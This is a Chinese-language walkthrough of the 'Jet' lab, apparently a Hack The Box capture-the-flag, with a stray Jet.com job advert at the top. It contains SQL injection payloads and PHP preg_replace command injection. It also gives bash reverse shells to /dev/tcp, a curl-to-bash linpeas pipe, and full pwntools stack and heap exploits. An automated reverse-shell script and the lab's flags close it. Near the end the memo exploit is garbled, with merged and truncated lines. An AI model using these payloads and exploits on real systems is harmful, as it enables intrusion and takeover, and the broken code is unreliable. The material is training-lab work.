
Jet.com 目前正在美国寻找安全工程师。
Jet 的使命是成为最聪明的购物方式,几乎可以节省任何东西。结合革命性的定价引擎、世界一流的技术和履行平台以及令人难以置信的客户服务,我们已着手创建一种新型电子商务。 在 Jet,我们热衷于让人们能够出色地生活和工作。
我们需要来自各个层面的超级聪明的工程师来帮助我们构建世界上最好的工程电子商务平台之一(我们知道大话,但这是我们的目标!我们的工程师将创造力、好奇心和动力相结合,从内到外不断完善和革新 Jet。我们希望引进更多对技术充满热情的求知欲强的工程师(Jet 是一家技术至上的公司,以其学习和知识共享的文化而自豪,我们希望我们所有的工程师都像我们一样充满激情!
我们的基础架构主要基于 Microsoft Windows 构建。我们有一个混合配置,包括本地服务器和基于云的服务器,使用 Microsoft Azure 以及大量附加技术和中间件。我们支持三个仓库、一个呼叫中心、公司总部和云中的开发环境。我们的团队将 Windows、Apple 和一些 Linux 混合用于我们的系统管理平台和尖端网络设备。大约 50% 的开发平台运行在 Linux 上,其余的则运行在 Windows 上。
信息收集
端口扫描
nmap -sC -sV -O --traceroute -oN nmap.txt --append-out -p [ports] [ip]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 62f6498081cff0070e5aade98e1f2b7c (RSA)
| 256 54e27e5a1caa9aab65cafa3928bc0a43 (ECDSA)
|_ 256 93bc37b7e008ce2d0399010aa9dfdacd (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx on Debian!
|_http-server-header: nginx/1.10.3 (Ubuntu)
5555/tcp open freeciv?
| fingerprint-strings:
| DNSVersionBindReqTCP, GenericLines, GetRequest, adbConnect:
| enter your name:
| [31mMember manager!
| edit
| change name
...
| exit
|_ invalid option!
7777/tcp open cbt?
| fingerprint-strings:
| Arucer, DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, Socks5, X11Probe:
| --==[[ Spiritual Memo ]]==--
| Create a memo
| Show memo
| Delete memo
| Can't you read mate?
| NULL:
| --==[[ Spiritual Memo ]]==--
| Create a memo
| Show memo
|_ Delete memo
9201/tcp open http BaseHTTPServer 0.3 (Python 2.7.12)
Port - 53
dig -x [ip] @[ip]
...
37.13.10.in-addr.arpa. 604800 IN SOA www.securewebinc.jet. securewebinc.jet. 3 604800 86400 2419200 604800
...
gobuster dns -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -d securewebinc.jet -r [ip] -o subdomain.txt
...
Found: www.securewebinc.jet
Found: WWW.securewebinc.jet
...
Port - 80
- IP 访问

发现 flag
securewebinc.jet/www.securewebinc.jet

查看页面功能点

发现一个 flag

发现同一个 flag,同时看到 secure.js

发现一个新路径 /dirb_safe_dir_rf9EmcEIx/admin/stats.php

得到一个时间戳,没啥用
feroxbuster -u 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/'
...
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/js => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/js/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/uploads => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/uploads/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/js => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/build/js/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js/pages => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/js/pages/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/skins => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/skins/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/alt => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/css/alt/
302 GET 0l 0w 0c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/ => login.php
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img/credit => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dist/img/credit/
301 GET 7l 13w 194c http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/pace => http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/plugins/pace/
...
目录扫描得到一部分其他目录,看上去像是一个 cms

查看网页源代码

发现一个 flag 和两个被注释的 js 路径,访问后未发现有趣的内容
Port - 5555

一个 Cli 服务
Port - 7777

也是一个 Cli 服务
Shell as www-data
登录界面测试

成功报错,尝试 sql 注入
sqlmap -r req.txt --level 3 --batch
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=1'||(SELECT 0x464f7266 WHERE 9324=9324 AND (SELECT 3518 FROM(SELECT COUNT(*),CONCAT(0x716b767071,(SELECT (ELT(3518=3518,1))),0x7171786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=2
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=1'||(SELECT 0x58786b44 WHERE 3648=3648 AND (SELECT 2784 FROM (SELECT(SLEEP(5)))MjUV))||'&password=2
---
sqlmap ... dump
Database: jetadmin
Table: users
id: 1
username: admin
password: 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084
hashcat -m 1400 9711...5084 rockyou.txt
97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084:Hackthesystem200

登录后台,发现一个 flag,页面上只有邮件功能可用。

请求数据带有一些过滤关键词的功能
swearwords[/fuck/i]=make love
swearwords[/shit/i]=poop
swearwords[/ass/i]=behind
swearwords[/dick/i]=penis
swearwords[/whore/i]=escort
swearwords[/asshole/i]=bad person
[email protected]
subject=qwe
message=<p>qweqweid
_wysihtml5_mode=1
看上去是把比较粗鲁的词语替换成较为优雅一点的单词,联想到 php 的 preg_replace 函数。
<?php
echo preg_replace([替换模式], [替换成的字符串], [被替换的字符串]]);
?>
根据参数大概能猜到,会把邮件消息中的 fuck 替换成 make love,所以 message 应该是第三个参数,make love 部分为第二个参数,[/fuck/i] 为第一个参数,尝试命令注入

Payload: swearwords[/fuck/ei]=system("id");&...&message=<p>...fuck...&...
反弹一个 Shell system("/bin/bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1'");

发现 flag,以及数据库凭据。
本地信息收集
本地用户
alex:x:1005:1005:Alex Flores,,,:/home/alex:/bin/bash
ch4p:x:1000:1000:ch4p,,,:/home/ch4p:/bin/bash
g0blin:x:1002:1002:g0blin,,,:/home/g0blin:/bin/bash
membermanager:x:1006:1006:,,,:/home/membermanager:/bin/bash
memo:x:1007:1007:,,,:/home/memo:/bin/bash
root:x:0:0:root:/root:/bin/bash
tony:x:1008:1008:,,,:/home/tony:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
Linpeas
- 目标机器:
curl http://[ip]:[port]/linpeas.sh | bash > /dev/tcp/[ip]/[port] - 攻击机器:
sudo nc -lvvnp [port]| tee linpeas.log

tony 目录下存在证书,以及加密后的密钥

可以看到,tony 使用 private.key 解密了 key.bin.enc,然后使用 key.bin 加密了 secret.txt,因此现在如果找到 private.key 就能看到 secret.txt 的内容。

观察公钥文件,发现长度很短,使用 Rsa 工具测试一下。

解密文件
openssl rsautl -decrypt -inkey /tmp/private.key -in key.bin.enc -out /tmp/key.bin

成功解密 key.bin,那么继续解密文本
openssl enc -d -aes-256-cbc -in secret.enc -out /tmp/secret.txt -pass file:/tmp/key.bin

解密成功,发现 flag

一个具有 S 位的可执行程序

因此可以尝试 Pwn 来获取 alex 权限
Shell as alex
查看 /home 目录发现除了 tony 还有一个文件具有 s 位特权,尝试执行

分析一下

存在一个栈溢出漏洞,并且提供了变量的地址,因此可以在变量中填充 shellcode,并将返回地址设置为变量的地址
- exp
import re
from pwn import *
p = process('./leak')
# p = remote('[ip]', [port])
context(os="linux",arch="amd64")
offset = 64 + 8
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
buff = b'A' * (offset - len(shellcode))
buff = shellcode + buff
msg = p.recvuntil(b'> ').decode()
print(msg)
address = re.findall(r'leaking! (.*?)\n', msg)[0]
print(f'[+] address: {address}')
buff += p64(int(address, 16))
print('[+]', buff)
p.sendline(buff)
p.interactive()

这样就可以正常执行命令了,接下来在目标机器上开启远程 Cli 服务,并把 exp 改为远程连接
socat TCP-LISTEN:6666,reuseaddr,fork EXEC:/home/leak &

发现 flag 和一个加密的 zip 压缩包,猜测 encrypted.txt 为密码的密文,crypter.py 是加密算法
- crypter.py
import binascii
def makeList(stringVal):
list = []
for c in stringVal:
list.append(c)
return list
def superCrypt(stringVal,keyVal):
keyPos = 0
key = makeList(keyVal)
xored = []
for c in stringVal:
xored.append(binascii.hexlify(chr(ord(c) ^ ord(keyVal[keyPos]))))
if keyPos == len(key) - 1:
keyPos = 0
else:
keyPos += 1
hexVal = ''
for n in xored:
hexVal += n
return hexVal
with open('message.txt') as f:
content = f.read()
key = sys.argv[1]
with open('encrypted.txt', 'w') as f:
output = f.write(binascii.unhexlify(superCrypt(content, key)))
代码大概逻辑是从参数获取字符串 key,然后循环 key 的字符与消息文本逐个异或运算,这里使用 xortool 进行分析

分析密钥长度可能是 17,接下来使用 -c 参数猜测消息内容中出现最多的字符是空格

得到了一部分可能是 key 的字符串,接下来配合解密后的内容进行分析,这里的 key 很显然更像一些助记单词,因此选用 secxrezebinnrocf~ 来尝试解密

开头这个单词很容易能猜到是 Hello,因此密钥中的第四个字符有错误,正确字符应该为 x ^ a ^ l = u -> securezebinnrocf~

结合这个 Web 页面,可以猜到 key 的另外一部分 -> securewebincrocf~ 现在暂时没有其他联想思路,先看一下解密后的内容

可以看到当 key 的倒数第二个字符修改时,解密文本中像是 flag 的字符串第一位发生变化,很显然我们指导这个 flag 的开头是 JET 所以 key 的最后两位也可以算出来了
- 倒数第二位:
f ^ G ^ J = c -> securewebincrock~ - 倒数第一位:
~ ^ H ^ E = s -> securewebincrocks
因此正确的密钥为:securewebincrocks 读起来也合理,现在解密密文

获得一个 flag ,并且根据 message 可以指导压缩文件的密码就是这个密钥

得到两个可执行文件对应机器上 5555、7777 端口的服务,利用 pspy 也可以看到

Shell as membermanager

反编译后可以看到是根据 case 来选择对应的功能
- exp
#!/usr/bin/python3
from pwn import remote, p64, p16
p = remote("10.13.37.10",5555)
p = process("./membermanager")
def add(size, data):
p.sendlineafter(b"6. exit", b"1")
p.sendlineafter(b"size:",str(size).encode())
p.sendlineafter(b"username:", data)
def edit(idx, mode, data):
p.sendline(b"2")
p.sendlineafter(b"2. insecure edit",str(mode).encode())
p.sendlineafter(b"index:",str(idx).encode())
p.sendlineafter(b"username:", data)
p.recvuntil(b"6. exit")
def ban(idx):
p.sendline(b"3")
p.sendlineafter(b"index:",str(idx).encode())
p.recvuntil(b"6. exit")
def change(data):
p.sendline(b"4")
p.sendlineafter(b"name:",data)
p.recvuntil(b"6. exit")
p.sendlineafter(b"name:",b"A" *8)
add(0x88, b"A"*0x88)
add(0x100, b"A"*8)
payload = b"A"*0x160
payload += p64(0)
payload += p64(0x21)
add(0x500, payload)
add(0x88, b"A"*8)
p.recv()
ban(2)
payload = b""
payload += b"A"*0x88
payload += p16(0x281)
edit(0, 2, payload)
p.recv()
p.sendline(b"5")
p.recvline()
leak_read = int(p.recvline()[:-1], 10)
libc_base = leak_read - 0xf7250
payload = b""
payload += p64(0)*3
payload += p64(libc_base+0x45390)
change(payload)
payload = b""
payload += b"A"*256
payload += b"/bin/sh\x00"
payload += p64(0x61)
payload += p64(0)
payload += p64(libc_base+0x3c5520-0x10)
payload += p64(2)
payload += p64(3)
payload += p64(0)*21
payload += p64(0x6020a0)
edit(1, 1, payload)
p.sendline(b"1")
p.sendlineafter(b"size:", str(0x80).encode())
p.recvuntil(b"[vsyscall]")
p.recvline()
p.interactive()
Shell as memo
- exp
#!/usr/bin/python3
from pwn import remote, p64, u64
shell=remote("10.13.37.10",7777)
def create_memo(data,answer,more):
shell.sendlineafter(b"> ",b"1")
shell.sendlineafter(b"Data: ", data)
if answer[:3]=="yes":
shell.sendafter(b"[yes/no] ", answer.encode())
else:
shell.sendafter(b"[yes/no] ", answer)
shell.sendafter(b"Data: ", more)
def show_memo():
shell.sendlineafter(b"> ",b"2")
shell.recvuntil(b"Data: ")
def delete_memo():
shell.sendlineafter(b"> ",b"3")
def tap_out(answer):
shell.sendlineafter(b"> ",b"4")
shell.sendafter(b"[yes/no] ", answer)
create_memo(b"A"*0x1f,b"no",b"A"*0x1f)
show_memo()
shell.recv(0x20)
stack_chunk = u64(shell.recv(6)+b"\x00"*2)- 0x110
delete_memo()
create_memo(b"A"*0x28,b"no",b"A"*0x28)
show_memo()
shell.recvuntil(b"A"*0x28)
shell.recv(1)
canary=u64(b"\x00"+shell.recv(7))
create_memo(b"A"*0x18,b"no",b"A"*0x18)
create_memo(b"A"*0x18,b"no",b"A"*0x17)
show_memo()
shell.recvuntil(b"A"*0x18)
shell.recv(1)
heap=u64(b"\x00"+shell.recv(3).ljust(7,b"\x00"))
create_memo(b"A"*0x18,b"no",b"A"*0x8+p64(0x91)+b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8+p64(0x31))
create_memo(b"A"*0x7+b"\x00",b"no",b"A"*0x8)
tap_out(b"no\x00"+b"A"*21+p64(heap+0xe0))
delete_memo()
tap_out(b"no\x00"+b"A"*21+p64(heap+0xc0))
delete_memo()
show_memo()
leak=u64(shell.recv(6).ljust(8,b"\x00"))
libc=leak- 0x3c4b78
create_memo(b"A"*0x28,b"no",b"A"*0x10+p64(0x0)+p64(0x21) + p64(stcreate_memo(p64(leak)* (0x28//8),b"no",b"A"*0x28)
create_memo(b"A"*0x8+p64(0x21)+p64(stack_chunk+0x18)+b"A"*0x8+create_memo(b"A"*0x8,b"no", p64(canary)+b"A"*0x8+p64(libc+0x4521tap_out(b"yes\x00")
shell.recvline()shell.interactive()
More and More
Flags
-
JET{s4n1ty_ch3ck}
-
JET{w3lc0me_4nd_h@v3_fun!}
-
JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll}
-
JET{sQl_1nj3ct1ons_4r3_fun!}
-
JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}
-
JET{0v3rfL0w_f0r_73h_lulz}
-
JET{r3p3at1ng_ch4rs_1n_s1mpl3_x0r_g3ts_y0u_0wn3d}
-
JET{3sc4p3_s3qu3nc3s_4r3_fun}
-
JET{h34p_f0r_73h_b4bi3z}
-
JET{n3xt_t1m3_p1ck_65537}
-
JET{7h47s_7h3_sp1r17}
Scripts
- Shell as www-data
import httpx
IP = '127.0.0.1'
Port = 443
cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{IP}/{Port} 0>&1'"
url_login = 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dologin.php'
cred = {'username': 'admin', 'password': 'Hackthesystem200'}
url_email = 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/email.php'
payload = {
'swearwords[/fuck/e]': f'system("{cmd}");',
'swearwords[/shit/i]': 'poop',
'swearwords[/ass/i]': 'behind',
'swearwords[/dick/i]': 'penis',
'swearwords[/whore/i]': 'escort',
'swearwords[/asshole/i]': 'bad person',
'to': '[email protected]',
'subject': 'qwe',
'message': '<p>fuck',
'_wysihtml5_mode': '1',
}
session = httpx.Client()
try:
resp = session.post(url=url_login, data=cred)
if resp.status_code == '302':
print(f'[+] 登录成功, Cookie: {resp.cookies}')
resp = session.post(url=url_email, data=payload)
if resp.status_code == '200':
print('[+] 邮件发送成功,等待 Shell 回连')
else:
print(f'[-] 邮件发送失败,状态码:{resp.status_code}')
else:
print(f'[-] 登录失败,状态码:{resp.status_code}')
finally:
session.close()
